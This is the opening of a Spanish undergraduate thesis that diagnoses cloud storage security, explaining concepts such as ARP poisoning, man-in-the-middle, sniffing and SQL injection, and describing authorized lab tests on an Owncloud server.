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RESUMEN

Hoy en dia las empresas que ofrecen sus servicios para poder almacenar informacién y
consultarla desde cualquier sitio, otorga a los usuarios la facilidad de acceder a sus
archivos de manera segura y eficaz ya que tienen la confianza de que la informacién
siempre estard ahi. Actualmente la computacién en la nube es la que nos brinda estas
caracteristicas con la finalidad de ofrecer un mejor servicio a los usuarios y/o empresas.

El propdsito del presente proyecto es elaborar un diagndstico de algunos servicios de
almacenamiento en la nube con el fin de analizar la problematica de seguridad, sus
vulnerabilidades y emitir algunas recomendaciones. Para ello fue necesario, realizar una
seleccion de las distintas nubes comparando sus caracteristicas y los servicios que ofrecen,
luego se llevaron a cabo pruebas de seguridad para conocer las vulnerabilidades vy
finalmente emitir algunas recomendaciones en base a los resultados obtenidos y literatura
consultada.

Para ello se realizé un diagndstico en algunos servicios de alojamiento y un analisis de
vulnerabilidades de seguridad en la informacion almacenada y enviada sobre un servidor
de Owncloud. Debido a que algunos proveedores rechazaron la peticion de autorizacion
que se les hizo llegar pidiendo permiso para poder realizar pruebas de seguridad. Ademas
se realizd un escaneo simple de puertos sobre SurDoc (Unico proveedor que respondié a la
solicitud de poder hacer algunas pruebas).

Dicho brevemente, este trabajo contiene un escaneo de puertos en SurDoc y una serie de
pruebas de seguridad realizadas a un servidor de nube Owncloud, con el fin de ofrecer al
lector un conocimiento mas amplio respecto a la seguridad que se emplea en los sistemas
de alojamiento en la nube y al momento de elegir alguno de los servicios existentes, se
tenga el conocimiento de que las actividades o ataques maliciosos hechos por otros
usuarios son posibles pero siempre hay una manera de proteger el contenido que se tiene
almacenado.
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CAPITULO 1
Introduccion

En este capitulo se describen los antecedentes de las pruebas de seguridad a realizar y
también los objetivos a los que se quiere llegar con este proyecto, tomando en cuenta la
problematica de seguridad que se tiene en la actualidad con los servicios de alojamiento
en la nube.

1.1 Antecedentes

Actualmente el hecho de ofrecer servicios con capacidad de almacenar informacién y
poder acceder a ella desde cualquier sitio, otorga a los usuarios mayor facilidad para
acceder a archivos de una manera segura, factible y tener la confianza de que siempre
estaran ahi. Es por eso que actualmente la computacion en la nube brinda estas
caracteristicas, la cual empezd con proveedores de servicio de internet a gran escala como
Google y Amazon los cuales construyeron su propia infraestructura. La finalidad es
proporcionar un mejor servicio a los usuarios y empresas. Con el uso de la tecnologia de
almacenamiento en la nube se tienen ventajas econdmico-financieras, seguridad,
disponibilidad y movilidad.

En cuanto a las desventajas se tiene la dependencia de terceros, es decir, al acceder a una
cuenta en la nube si el servicio no estd disponible o inestable para los usuarios se
detendrd el sistema de tal manera que serd imposible acceder, asi mismo dependencia de
los proveedores de servicios de internet (ISP) y de la velocidad de cable o fibra éptica. Por
otro lado, en caso de que los datos no estén cifrados estos pueden ser consultados por
terceros ya sea por error o intencionalmente y por ultimo migrar hacia otra plataforma o
coordinar varias al mismo tiempo es dificil ya que no todas ofrecen esta opcidn.



Los ataques a estos servicios de almacenamiento han sido practicados por personas que
se dedican a extraer informacién de cuentas importantes tanto personales como
empresariales, cuyo objetivo es pasar desapercibidos, por asi decirlo, en un ambiente
encubierto por programas y herramientas que hacen de este robo algo mas facil. Con el
paso del tiempo estas técnicas han sido perfeccionadas, hecho que se basa en diferentes
sistemas de ataque.

De acuerdo con Armando Carvajal (2007) se identifican 4 tipos de ataques [1]:

1. Modificacién: También llamados web-defacement buscan comprometer |Ia
confidencialidad y la integridad del sistema, por ejemplo cuando un atacante
modifica la pagina web de una organizacion sin previa autorizacion.

2. Fabricacién: Comprometen la integridad del sistema, por ejemplo al insertar un
nuevo usuario en el sistema.

3. Interceptacion: Buscan comprometer la confidencialidad del sistema, un ejemplo
son los key loggers o spyware y los sniffers.

4. Interrupcion: Comprometen la disponibilidad del servicio, un ejemplo serian los
ataques de denegacién de servicios (DoS).

Cuando alguno de estos ataques se lleva a cabo, la mayoria de los usuarios no se percatan
de que estan siendo victimas de un robo de informacién, por asi decirlo, ya que muchas de
las herramientas o softwares existentes para realizar este tipo de ataques se ejecutan de
manera desapercibida de tal forma que la victima no pueda hacer nada para evitarlo.

1.2 Planteamiento del problema

Si consideramos que hay tantas opciones que un usuario puede tomar en cuenta para
elegir un servicio de nube ya sea de paga o de caracter libre, se tienen que tomar en
cuenta aspectos importantes de seguridad como la proteccién de contenido, ya que
existen vulnerabilidades por parte del servicio que se ofrece como son: pérdidas o fuga de
datos, uso incorrecto del servicio, vulnerabilidad en archivos compartidos, ataques a
dispositivos maéviles, ataques en las redes sociales, robo de identidad a los usuarios, entre
otros [2].



En el laboratorio de redes B-207, de la UACM se llevan a cabo pruebas para identificar
fallos de seguridad y ataques, por lo tanto se decidid analizar la seguridad en los servicios

de almacenamiento en la nube.

En la realizaciéon de la presente investigacién, se plantea la siguiente problematica a
resolver ¢de qué manera se pueden detectar vulnerabilidades y hacer recomendaciones

hacia el propietario del servicio?

1.3 Justificacion

Actualmente la tecnologia brinda servicios de almacenamiento de datos “seguros” a gran
parte de las personas que tienen acceso a internet, con lo que es posible acceder a ellos
de forma relativamente segura desde cualquier terminal que cuente con una conexién a
internet. De esta manera se puede prescindir de sistemas de almacenamientos externos
(discos duros o memorias USB) para poder llevar a todas partes los archivos. A estos
servicios se les llama Cloud Storage que significa almacenamiento en la nube, un espacio
en internet dedicado a ofrecer servicios para gestionar archivos de manera remota.

Debido a lo anterior y a la problematica de seguridad que a veces se presenta en algunos
proveedores de almacenamiento en la nube, en este trabajo recepcional se decide
analizar las vulnerabilidades que existen en estos sistemas y realizar una serie de ataques
de interceptacion con la finalidad de proponer un informe de seguridad.

1.4 Objetivo general

Elaborar un diagndstico de algunos servicios de almacenamiento en la nube con el fin de
analizar la problematica de seguridad, sus vulnerabilidades y emitir algunas
recomendaciones.



1.5 Objetivos especificos

1.-Realizar una seleccion de las distintas nubes comparando sus caracteristicas y servicios
gue ofrecen.

2.-Implementar un servidor que ofrezca servicios web para realizar pruebas de seguridad.
3.- Llevar a cabo pruebas de seguridad para conocer las vulnerabilidades y aumentar la
seguridad de la informacion.

4.- Emitir algunas recomendaciones en base a los resultados obtenidos y literatura
consultada.

1.6 Metodologia

Para el presente trabajo recepcional se llevd a cabo la siguiente metodologia:

1.-Revision de la literatura en general acerca del tema, para tener una base y poder
delimitar el tema de estudio.

2.-Busqueda de servicios de almacenamiento en la nube con el objetivo de realizar
pruebas sobre sus servicios, para elaborar un informe de seguridad.

3.- Enviar una peticidén a los servicios de nube seleccionados, en la cual se solicitd el
permiso para realizar pruebas de seguridad con fines académicos.

4.- implementar un servidor web que cuente con seguridad propia (SSL/TLS). Dentro de
este se ofrece el servicio de almacenamiento en la nube (Owncloud). Este servidor se
ubica en la red interna del laboratorio B-207 y esta salvaguardado por un cortafuego
(implementado con Pfsense o sistema freebsd).

5.-Desarrollo de pruebas de seguridad tales como: escaneo de vulnerabilidades,
intercepcidn de archivos de texto plano, extraccién de informacién (usuario y contraseia)
sobre el servicio de almacenamiento Owncloud.

6.- Por ultimo se brindan algunas recomendaciones en base a los resultados obtenidos y
literatura consultada.

1.7 Hipétesis de trabajo
Si realizamos pruebas de vulnerabilidades en servidores locales, obtendremos informacion

de las debilidades del sistema, lo cual permitird proponer las soluciones adecuadas.
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CAPITULO 2
Marco teorico

En el segundo capitulo se encuentra el marco tedrico, que hace mencidon de distintos
conceptos que se deben entender antes de seguir con la implementacién de las pruebas
de seguridad.

2.1 Almacenamiento en la nube

El almacenamiento en la nube es un modelo de servicio el cual especifica la forma de
almacenar, administrar y respaldar datos de un sistema de cémputo, los cuales se
encuentran en servidores que estan en diferentes lugares, incluso geograficamente, y asi
puedan ser gestionados de manera remota poniéndolos a disposicién de los usuarios a
través de una red como lo es el internet; los usuarios pagan por este almacenamiento de
datos anualmente y otros mas activan cuentas gratuitas por un almacenamiento limitado
al espacio que ofrezca cada uno de los proveedores [3].

Existen tres tipos de almacenamiento en la nube [4]:

1.- Pdblico. Este tipo de almacenamiento proporciona un control administrativo minimo
debido a que el acceso es en linea por cualquier persona, el usuario no tiene ninguna
visibilidad ni control sobre el lugar donde se alojan los servicios en la nube, proporciona
medidas de seguridad y espacios virtuales para cada uno de los usuarios de manera que
solo pueden ver lo que les corresponde. Se aloja externamente vy se puede acceder
mediante internet, normalmente es de bajo costo y requiere poco mantenimiento.
Algunos servicios de almacenamiento de nube publica son: Box, Dropbox, Mega, SurDoc,
entre otros.

2.- Privado. Este tipo de almacenamiento también se le conoce como nube interna porque
su infraestructura se almacena en una plataforma privada cubriendo las necesidades de
una persona o empresa. En este modelo el usuario tiene el control administrativo
haciendo posible el disefio y la operacién del sistema de acuerdo a sus necesidades.
Algunos servicios de nube privada son: Cisco, Owncloud, BitTorrent Sync.
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3.- Hibrido. Estos sistemas de almacenamiento ofrecen como su nombre lo sugiere una
combinacion de los almacenamientos de nubes publicas y privadas donde los usuarios
pueden personalizar las funciones y aplicaciones que se adapten mejor a sus necesidades,
un ejemplo de la configuracion de este servicio es almacenar los datos importantes en un
sistema de almacenamiento privado y los datos menos importantes se pueden almacenar
en uno publico, teniendo como inconveniente la compatibilidad entre plataformas.

2.2 Seguridad informatica

Actualmente es imposible garantizar la seguridad en un sistema informatico, ahora bien
para que un sistema se considere seguro debe cumplir con los principios basicos de la
seguridad de la informacion [5].

e Confidencialidad: En este punto se asegura que la informacidon no pueda estar
accesible o a disposicion de personas o procesos no autorizados, es decir, que la
informacién sea confidencial y que el sistema sea capaz de evitar que personas no
autorizadas puedan acceder a la informacion almacenada en él. Algunas medidas
utilizadas para proteger la confidencialidad de los datos son: el control de accesos
a los sistemas y el cifrado de la informacion.

e Integridad: Este principio no debe modificar o corromper la informacidn
almacenada ni permitir que alguna persona que no esté autorizada lo haga, este
principio de seguridad asegura que la informacién no sea falsificada, un ejemplo de
este principio es que al momento de recibir o recuperar datos estos serdn
exactamente los mismos que fueron enviados o en su caso almacenados sin que
hayan sido modificados, alterados o borrados.

e Disponibilidad: Los sistemas deben mantener la informacién disponible para los
usuarios, es decir, que funcione eficientemente y que este sea capaz de
recuperarse rapidamente en caso de fallo. Para el usuario es importante tener sus
datos en lugar, momento y forma en que son requeridos.



2.3 Envenenamiento por ARP (Address Resolution Protocol)

Este protocolo trabaja en la capa de enlace de datos, presenta un método para la
conversion de las direcciones IP en las redes de area local a las direcciones Ethernet
(direcciones MAC), de esta manera los equipos arman una tabla, llamada tabla ARP, esta
se almacena en la memoria del equipo y permite establecer la relacién entre las
direccione IP y las direccione Ethernet de los equipos. Cuando se desee conocer una
direccién MAC asociada a una IP, simplemente se localiza la direccion IP en la tabla y se
busca dentro del mismo registro de la tabla la direccion MAC asociada.

Ahora bien, cuando un equipo envié informacidn a otro equipo a través de la red local, lo
hace por medio de la direccion IP. Lo primero que hace el sistema es verificar si la
direccién IP de destino es parte de su mismo segmento de red, si es asi, el equipo consulta
en su tabla ARP que direccion MAC le corresponde a la IP destino, si la direccién solicitada
no se encuentra en ella entonces el protocolo ARP envia un paquete de broadcast (a todos
los equipos de la red) con la direccidon IP solicitada, los equipos comparan dicha IP con la
suya y solo el equipo al que corresponda es el responderd enviando su direccién MAC,
hecho esto todos los equipos actualizan su tabla ARP.

Cuando se realiza un envenenamiento por ARP, se pueden infectar uno o varios equipos
dentro de la red local, haciendo que uno o varios equipos nos hagan llegar trafico que esta
destinado a otro equipo. Se dice que se envenena la tabla ARP de un equipo por que se le
envia constantemente respuestas ARP que no son solicitadas, a los equipos que se quiere
atacar, con la finalidad de mantener envenenada la memoria caché. Con esto se logra
asociar la MAC del atacante con la IP del equipo victima y también asociada a la Ip del
router de la red local, causando que cualquier trafico destinado a ese equipo se dirija
hacia el atacante o bien cuando un usuario envié informacién a través del router, este no
serd visto por el router sino por el atacante y viceversa.



2.4 Seguridad en el modelo ISO/0SI

El modelo ISO/OSI (International Standard Organization/Open System Interconnection)
consta de siete capas las cuales tienen una funcidn especifica de red, en este punto se
tratara la seguridad en cada capa, en la tabla 2.1 se observa el modelo 1ISO/OSI [7].

Nombre
Aplicacion
Presentacion

Sesion

Transporte
Red
Enlace de datos

Fisica

~N
%

Tabla 2.1 Modelo ISO/OSI.

1.- Capa fisica

Provee los medios de transporte para los bits que forman la trama de la capa de enlace
de datos a través de los medios de red, ya que aqui viajan sefales y dependiendo la sefial
es el tipo de medio, existen tres tipos bdsicos de medios:

- Cable de cobre, como : coaxial, par trenzado UTP/STP (patrones de pulsos
eléctricos)

- Fibra Optica (patrones de luz)

- Inaldmbrico (patrones de transmisiones de radio)

Su funcidn es detectar la sefializacién, codificar datos y transmitir mediante componentes
fisicos secuencialmente, es decir, entrega los bits en el mismo orden en que los recibe.

La seguridad en esta capa estd dada por los medios de transmision ya que los alambres de

cobre conducen en ocasiones la electricidad de manera no deseada y provocar problemas
al personal y el equipo usado.
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Por otro lado el revestimiento vy el aislamiento de los cables puede llegar a producir
emisién de sustancias toxicas ademds de que puede llegar a ser inflamable cuando se
calientan o se queman, debido a esto el personal deberd tomar medidas de seguridad
para evitar este tipo de fallos.

2.- Capa de enlace de datos

Es la encargada del intercambio de tramas entre nodos a través de los medios de una red
fisica (conformado por dos o0 mas nodos conectados a un mismo canal de comunicacién),
toma un medio de transmisidn en bruto y lo transforma en una linea que parezca libre de
errores de transmisidén de la siguiente manera: el emisor divide los datos de entrada en
cientos o miles bytes (normalmente) llamados marcos de datos, transmitiéndolos en
forma secuencial, y procesando de igual manera los marcos de acuse de recibo que
devuelve el receptor.

Su funcidn es la deteccién de errores de transmisién, asi como también el control de flujo
en el envid de la informacidn para evitar la saturacion, delimitar el inicio y el fin de cada
trama para que el receptor pueda reconocer y procesar cada trama de forma individual

Se divide en 2 subcapas:

LLC (Logical Link Control), en espanol control de enlace légico, coloca en la trama
informacién que identifica qué protocolo de capa de red se utilizard para la trama, es
decir, permite que varios protocolos de la capa 3 como IPv4 e IPv6 utilicen la misma
interfaz y los mismos medios de red.

MAC (Medium Acces Control), en espafiol control de acceso al medio, este define los
procesos de acceso al medio, el cual proporciona el direccionamiento para determinar
como se transportaran los datos a través de los medios de transmision fisicos.

La seguridad en esta capa es vulnerable a ataques, poniendo en riesgo la informacién que
se transmite. Un ejemplo podria ser un ataque de ARP Spoofing, el cual utiliza la tabla de
direcciones MAC ya que cada direccién MAC tiene asociada una direcciéon IP y estas
relaciones son almacenadas tanto en los switches como en los dispositivos que estan
conectados a una red. Al realizar peticiones falsas de ARP es posible que se pueda
falsificar cualquier direcciéon MAC en una red, redireccionando a un equipo falso toda la
informacién lo cual permite realizar:
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e Sniffing del trafico de la red interna (incluso de un switch)
e Ataques de denegacion de servicio
e Ataques de hombre en el medio (mismo que se explica mas adelante)

3.- Capadered
En este nivel se define el encaminamiento y el envio de paquetes de extremo a extremo,

proporcionando las siguientes caracteristicas:

Una de las primeras funciones de la capa de red es el direccionamiento, es decir, si los

dispositivos deben dirigirse a un usuario final este dispositivo debe de tener una direccion
unica a la cual viajara. Por otro lado los dispositivos no solo deben ser identificados con la
direccion si no también con el PDU Unidades de Datos de Protocolo Protocolo de Datos de
Usuario, lo hace encapsulando el paquete agregandole un encabezado y etiqueta donde
contiene la direccion del equipo al cual serd enviado (direccidon de destino), y a su vez
contiene la direccion de equipo de origen, el paquete podria recorrer muchas rutas
diferentes. Luego de esto la capa de red debe proveer los servicios para dirigir, es decir,
encaminar el paquete para que tenga una ruta éptima y rapida para llegar al destino final,
ya que los equipos no siempre estan conectados en la misma red, el paquete podria
recorrer diferentes redes para llegar a su destino. Finalmente se verifica la direccién de
destino y ver que ha sido enviado correctamente, en caso de que la informacién sea
correcta el paquete es desencapsulado.

La seguridad en esta capa esta a cargo del personal, ya que es complicado realizar algun
ataque remoto, la seguridad seria violada sélo en caso de que una persona tuviera acceso
ya sea al equipo fisicamente o al cuarto de telecomunicaciones, provocando fallos en el
cableado o interceptando la comunicacion entre los equipos, debido a esto se deben de
fomentar restricciones al personal respecto al resguardo y acceso a dicha infraestructura.

4.- Capa de transporte

Acepta datos de la capa se sesidn, si es necesario los divide en unidades mas pequenas
para pasarlos a la capa de red asegurando que todos los pedazos lleguen correctamente al
otro extremo. Este nivel garantiza una entrega confiable, segmentando la informacién ya
gue evalla el tamafio de los paquetes con el fin de que éstos contengan el tamafio
requerido por las demas capas. Otro aspecto es que los datos no sélo deben entregarse
sin errores sino también en la secuencia que proceda. En esta capa se soportan multiples
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conexiones, determina el protocolo o tipo de servicio que garantiza el envio del mensaje y
asigna una direccién Unica de transporte a cada usuario, en esta capa funcionan los
protocolos UDP Protocolo de Datagramas de Usuario(no orientado a la conexidn, es decir,
no tiene control de flujo, ni se sabe si los paquetes fueron recibidos correctamente,
tampoco hay confirmacidon de ello) y TCP (orientado a la conexién, es decir, garantiza ser
entregar datos al destino de manera correcta y en el mismo orden que fueron
transmitidos).

Los protocolos SSL y TLS son los encargados de la seguridad en esta capa porque son
protocolos criptograficos que proporcionan comunicaciones seguras, protegiendo vy
autenticando la comunicacién en una red publica. De tal forma que si no se tiene esta
seguridad en los sistemas, serian vulnerables a ataques informaticos como denegacion de

servicio.

5.- Capa de sesidn

Este nivel permite a usuarios de diferentes maquinas establecer una sesién, misma que
puede ser usada para efectuar un inicio de sesién en un sistema remotamente o bien para
transferir un archivo entre dos maquinas. Mediante esta capa se controla el dialogo, es
decir, se establece el orden de los mensajes, quién habla, cuando y cuanto tiempo,
estableciendo el inicio y termino de la sesién al mismo tiempo en caso de fallo tiene la
capacidad de recuperar la sesion.

e Uno de los problemas de seguridad que hay en este nivel es el robo de sesiones, es
decir, la obtencion de informacién de un usuario para poder identificarse en
alguna pagina web, también se le conoce como credenciales de identificacién para
una sesién iniciada en paginas como Facebook, Hotmail, aplicaciones web, entre
otros.

6.-Capa de Presentacion

Es la encargada de manejar las estructuras de datos indefinidas, es decir, se encarga de la
sintaxis y la semadntica de la informacidén que se transmite y realizar las conversiones de
presentacion de datos necesarios para la correcta interpretacion de los mimos,
permitiendo también cifrar los datos y comprimirlos, en pocas palabras se diria que es un
traductor.
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Sus principales funciones son:

- Formateo de datos: se encarga de la representacion de la informacién traduciendo
el formato, si distintos equipos tienen diferentes representaciones internas como:
ASCII, EBCDIC, sonidos o imagenes se encarga de que los datos lleguen de manera
reconocible.

- Cifrado de datos: es un proceso mediante el cual la informacion legible s
transformada mediante un algoritmo en informacion legible por asi decirlo y
puede ser enviada de forma secreta con menos riesgos a que una tercer persona
pueda leerlo, es decir, protege la informacién durante la transmision.

- Compresién de datos: usa algoritmos para reducir el tamafio de los archivos
remplazandolo con un token (patron de bit mucho mas corto, que representa al
patrén largo).

- Aplicar a los datos procesos criptograficos

- Definir la estructura de datos a transmitir

La seguridad en este nivel esta dada por las claves de cifrado con las cuales la informacion
viaja encriptada y segura por la red sin temer a perder o filtrar informacién y al llegar a su
destino estos mensajes puedan ser descifrados.

7.-Capa de aplicacién

En esta capa el usuario normalmente no interactia directamente con el nivel de
aplicacién, suele interactuar con programas que a su vez interactlan en este nivel, se basa
en las funciones de las capas inferiores para completar los procesos de comunicacion
proporcionando servicios a los usuarios, suministra las herramientas que el usuario
visualiza mediante las aplicaciones y es encargado del acceso general a la red, gestionando
los mensajes, la transferencia de archivos y el acceso a las bases de datos, esta capa
suministra cada uno de estos servicios a los distintos programas de aplicacién con los que
cuenta el usuario en su computadora. Entre ellos se encuentra los servicios de correo
electronico SMTP (Protocolo Simple de Transferencia de correo) y aplicaciones de base de

datos (cliente/servidor).
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Debido a que uno de los protocolos que trabajan en esta capa es el HTTP se recomienda
iniciar sesion en pdginas web que tengan seguridad empleando en la URL el protocolo
HTTPS para que al momento de autenticar en alguna pagina web los datos personales que
se ingresan no queden desprotegidos.

2.5 Pruebas de seguridad

Empresas y personas interesadas en la seguridad del contenido de sus equipos de
computo, paginas o portales web, y servicios de almacenamiento en la nube, llevan a cabo
auditorias internas para detectar vulnerabilidades en sus sistemas y poder corregirlos
antes de que un usuario malicioso por asi decirlo aproveche esas debilidades e intente
robar informacion y perjudicar de manera permanente a dichas usuarios, algunos de los
ataques comunmente utilizados para adquirir informacién de manera ilicita se describen a
continuacién.

Ataque MITM (Man In The Middle), que traducido al espafiol seria “hombre en el medio”,
este tipo de ataque se realiza para adquirir informacion personal del usuario ya que esta
presente en medio de la transmision del origen y el destino, donde el atacante puede
observar, modificar, interceptar y capturar todo el trafico que pasa por él, un ejemplo es
el nombre de usuario y contrasefia con la que se inicia sesién en cuentas como facebook,
correo electrénico, almacenamiento en la nube, paginas personales, entre otros.

La descripcién del ataque se puede observar en la figura 2.2. Supongamos que tenemos 3
elementos dentro de una red: victima, servidor y atacante; donde la victima quiere
intercambiar informacion con el servidor, ahora, si el atacante tiene intencion de
“escuchar” el mensaje que la victima envia al servidor, sélo tiene que adoptar una
apariencia falsa donde se hard pasar por el servidor para asi poder recibir los mensajes y
poder alterar o no toda la informacion antes de enviarla al servidor correcto o verdadero

[8].
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Figura 2.1. Descripcién del ataque MITM.

Sniffing network, traducido al espafiol, olfateando la red, consiste en analizar la red y los
paguetes que viajan en ella para poder interceptar los datos y paquetes de los usuarios en
caso de que accedan a una pagina en internet e inicien sesién, o bien compartan archivos
o imagenes que contengan informacion privada e importante para el usuario.

Hay varias formas de analizar una red dependiendo el uso y de lo que se quiera obtener,
en el caso del programa Wireshark tiene la posibilidad de filtrar paquetes para facilitar la
busqueda de informacidn, es decir, es un Sniffer.

Wireshark es un analizador de paquetes de red utilizado para identificar y analizar qué
tipo de trafico estd siendo transmitido, el cual tratard de capturar paquetes de red
mostrandolos a detalle tanto como sea posible, esto para realizar un analisis para
detectar y corregir errores de red y examinar problemas de seguridad. Contiene una
amplia gama de filtros que facilitan la busqueda de protocolos, actualmente soporta
aproximadamente hasta 1100. Debido a que wireshark “entiende” la estructura de estos
protocolos se puede visualizar cada una de las cabeceras que componen cada paquete
analizado [9,10].

1 . . .1s .
El sniffer es un software que permite capturar tramas de la red. Generalmente utilizado con fines
maliciosos para capturar textos de emails, chats, datos personales, contrasefias.
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10689 1. 192,168.10.130  UoP 210 source port: 4723 Oestination port: 60729
10690 1 224.0.1.0 voe 184 Source port: 41475 Destination port: 4770
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Figura 2.2. Wireshark, analizador de redes.

En la figura 2.3 se puede observar la interfaz de wireshark donde se visualizan los
paquetes capturados seguidos del detalle del paquete y finalmente lo que llamariamos la
informacidn en bruto, este Ultimo campo nos muestra la informacion en hexadecimal.

SQL Injection: La inyeccidn SQL brinda la posibilidad de saber y analizar qué es lo que
contiene un portal web como lo son sus tablas de contenido, usuarios registrados vy
contrasefias; es decir, SQL Injection es un ataque que permite a un atacante realizar
consultas a una base de datos modificarlas e incluso borrarlas o dejarlas inservibles. Un
incorrecto filtrado de la informacion que se pasa a través de los campos y/o variables que
usa un sitio web, es por lo general usado para extraer credenciales y realizar accesos
ilegitimos. Un fallo de este tipo puede llegar a permitir ejecucién de comandos SQL en el
servidor, subida y lectura de archivos, o peor aun, la alteracién total de los datos
almacenados.

En la figura 2.4, se muestra un ejemplo del ataque SQL injection, se observan dos usuarios
uno de confianza y el otro es un usuario malicioso, el primero logra acceder al sistema por
medio de credenciales validadas y el segundo realiza una combinacidn de sentencias SQL
logrando burlar el formulario de autentificacidon, accediendo al sistema para realizar
extraccién de datos. [11].
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Figura 2.3. Descripcién del ataque SQL Injection.

2.6 Elementos de conectividad

Switch

El switch interconecta 2 o mas segmentos de red, enviando informacién de acuerdo con la
direccién de control de acceso al medio (MAC), el switch trabaja en la capa dos del
modelo OSI, hace posible que los usuarios de una red, envien informacién al mismo
tiempo sin que se disminuya la velocidad de transmision, de este modo la informacion

viaja desde el puerto de origen al puerto destino [12].

Router

Es un dispositivo que opera en la capa tres del modelo OSI, que interconecta redes, para
enrutar paquetes hacia otra red, utilizando el camino mds éptimo para llegar a su destino,
su funcién es saber si el destinatario de un paquete esta en la propia red o en una remota,

esta decision la toma basandose en la direccién IP del paquete [12].

Firewall

También conocido como cortafuegos, permite o niega las comunicaciones de una red a
otra, dependiendo de las reglas que se le hayan configurado para que el trafico pueda
acceder o salir de nuestra red, en caso contrario el trafico entrante o saliente sera
bloqueado, normalmente se situa entre la red local y la red de internet como un
dispositivo de seguridad, evitando que un usuario malicioso pueda acceder a la
informacién confidencial, en resumen, filtra en su totalidad el trafico entrante y saliente

que hay entre dos redes [12].
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Servidor web

Su principal funcién es almacenar los archivos de un sitio y enviarlos por internet para que
puedan ser consultados por los usuarios, es decir, guarda y transmite. Espera peticiones
del cliente, que se encarga de contestarlas de forma adecuada, obteniendo como
resultado una pagina web o informacién de acuerdo a los comandos solicitados. Integra
seguridad para permitir una conexién encriptada entre el servidor y el navegador para que

toda la informacion confidencial viaje segura por la red [12].

Algunos de los servidores web mas utilizados son: Apache, Microsoft IIS, Ngnix, Lighttp.
Apache es uno de los mas usados debido a su estabilidad y confiabilidad y es
personalizable, perteneciendo a la capa de aplicacién del modelo OSI.

En resumen, cuando se introduce una URL valida en el navegador, la peticién de conexidn
se envia al servidor web (por ejemplo apache) para administrar la peticion, de modo que
el servidor web apache retorna la pagina inicial del dominio correspondiente.

2.7 Certificados de seguridad SSL

SSL Secure Socket Layer (capa de conexidn segura), brinda seguridad a una pagina web, lo
gue permite saber que el sitio es auténtico, real y confiable en caso de tener que ingresar
datos personales para hacer compras en linea o iniciar sesién. Este protocolo de seguridad
hace que sus datos viajen de manera integra y segura mediante conexiones cliente-
servidorz, en nuestro caso van totalmente cifrados con RSA -2048 bits, que es un
algoritmo de llave publica desarrollado por Ronald Rivest, Adi Shamir y Leonard Adelman
en 1977. Los mensajes enviados utilizando este algoritmo se representan mediante
nameros (producto de 2 numeros primos) elegidos al azar y emplea funciones
exponenciales.

Generalmente es el mas utilizado ya que la seguridad de este algoritmo® radica en que no
hay maneras rapidas conocidas de factorizar un nimero grande en sus factores primos
utilizando computadoras tradicionales [13].

2 . . . . . . . . .

Un servidor, es una aplicacién que ofrece un servicio a usuarios de internet, el cliente, es el que pide ese
servicio. Una aplicacidon consta de una parte de servidor y otra de cliente y se pueden ejecutar en el mismo
o en diferentes sistemas.

3 . . . . . .z e
Conjunto ordenado y finito de operaciones, que permite hallar la solucién a un problema matematico,
informatico o disciplinas afines.

19


http://es.wikipedia.org/wiki/Algoritmo
http://es.wikipedia.org/wiki/Computadora

2.8 Seguridad mediante protocolo TLS

TLS Transport Layer Security, (seguridad de la capa de transporte), este protocolo de
seguridad que actualmente sustituye al SSL. El protocolo TLS, establece también conexion
segura entre cliente y servidor por medio de un canal cifrado, se ejecuta en la capa de
aplicacién junto a protocolos como HTTP y HTTPS, ofreciendo seguridad a paginas web.
muestra el protocolo handshake TLS, es decir, permite que ambas partes se autentiquen
mutuamente para negociar el cifrado, antes de intercambiar datos y posteriormente
establecer la conexidn, a continuacién se describe el proceso establecido en Ia
intercepcién de datos con este protocolo [14]:

Client Hello: el cliente envia un mensaje al servidor, para dar inicio a la conexidn cifrada,
enviando una cadena de caracteres aleatorios que sirven para generar la clave simétrica®.
Server Hello: el servidor contesta al cliente escogiendo un cifrado, enviando un ID de
sesion correspondiente, como la version de TLS correspondiente, el tipo de compresion de
datos.

Certificate: el servidor ofrece su certificado al ser verificado por el cliente.

Server Key Exchangue: con este mensaje el servidor ofrece un cifrado asimétrico entre el
cliente y servidor, la clave publica’ con la clave del certificado.

Server Hello Done: el servidor da por concluida su fase de negociacion asimétrica.

Client Key Exchangue: ya comprobado y validado el certificado, cifra con la clave publica
del servidor y se lo envia, después el cliente y el servidor pueden generar la clave secreta
usando el cifrado simétrico.

Changue Cipher Spec: con este mensaje el cliente informa que sus mensajes sucesivos
estaran cifrados con el cifrado simétrico acordado.

Finished: el cliente da por finalizada su fase de negociacién asimétrica, el mensaje
garantiza la integridad de la comunicacién.

Changue Cipher Spec: el servidor descifra con su clave privada®, el mensaje enviado por el
cliente, de manera que establece un cifrado asimétrico’.

4 s . . o P
Solo utiliza una clave para cifrar y descifrar el mensaje, que puede ser un niumero, una palabra, o una
cadena de letras, que tiene que conocer el emisor y receptor previamente.

5 RT . . .
Una clave publica, se puede entregar a cualquier persona, solo sirve para cifrar datos.

6 . ~ . ; .
Puede descifrar o hacer las dos cosas, es como una contrasefia, solo quien la conozca podra descifrar el
mensaje, es una clave que no se comparte con nadie.
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Finished: el servidor finaliza su fase de negociacidn asimétrica, con este protocolo se logra
un canal TLS, que garantiza que todos los datos enviados seran cifrados.

7 . . sy . R . . . .

El cifrado asimétrico, hay en juego dos claves, la publica (disponible gratuitamente para cualquier persona
gue desee enviar un mensaje), la privada, (se mantiene en secreto para que solo una Unica persona la
conozca).
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CAPIiTULO 3
Desarrollo

En el presente capitulo se llevaron a cabo pruebas de seguridad en un servicio de nube
local, donde previamente se instald el servicio de nube Owncloud, se detallé el proceso
empleado para la realizacién de las pruebas y los analisis de vulnerabilidades que se
efectuaron en los servicios de nube SurDoc.

3.1 Busqueda de proveedores de almacenamiento en la nube

Para la eleccion de los proveedores se realizd una busqueda de algunas empresas de
renombre que ofrecen sus servicios para almacenamiento de datos, en la cual se tomaron
en cuenta las caracteristicas que diferencian unas nubes de otras como lo son capacidad
de almacenamiento, seguridad de la informacidn, encriptaciéon de datos, autenticacion,
costos y disponibilidad. A pesar de que hay numerosos servicios en la nube disponibles
solo se seleccionaron 10 de ellos por su capacidad de almacenamiento, son de uso libre y
por su maxima transferencia de archivos, es decir, la capacidad maxima permitida para
subir un archivo de una sola vez, en la tabla 3.1 se muestran las caracteristicas tomadas en
cuenta para su seleccién.

Capacidad de Max. Transferencia

Almacenamiento de Archivo
100 GB 5GB
50 GB ilimitada
15 GB 2048 MB

Google Drive 15 GB ilimitada

Tabla 3.1. Descripcidn de cuentas en la nube.
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Cabe destacar que se envid una solicitud por escrito a cada uno de los proveedores,
requiriendo una autorizacion para poder realizar pruebas de seguridad en sus servidores
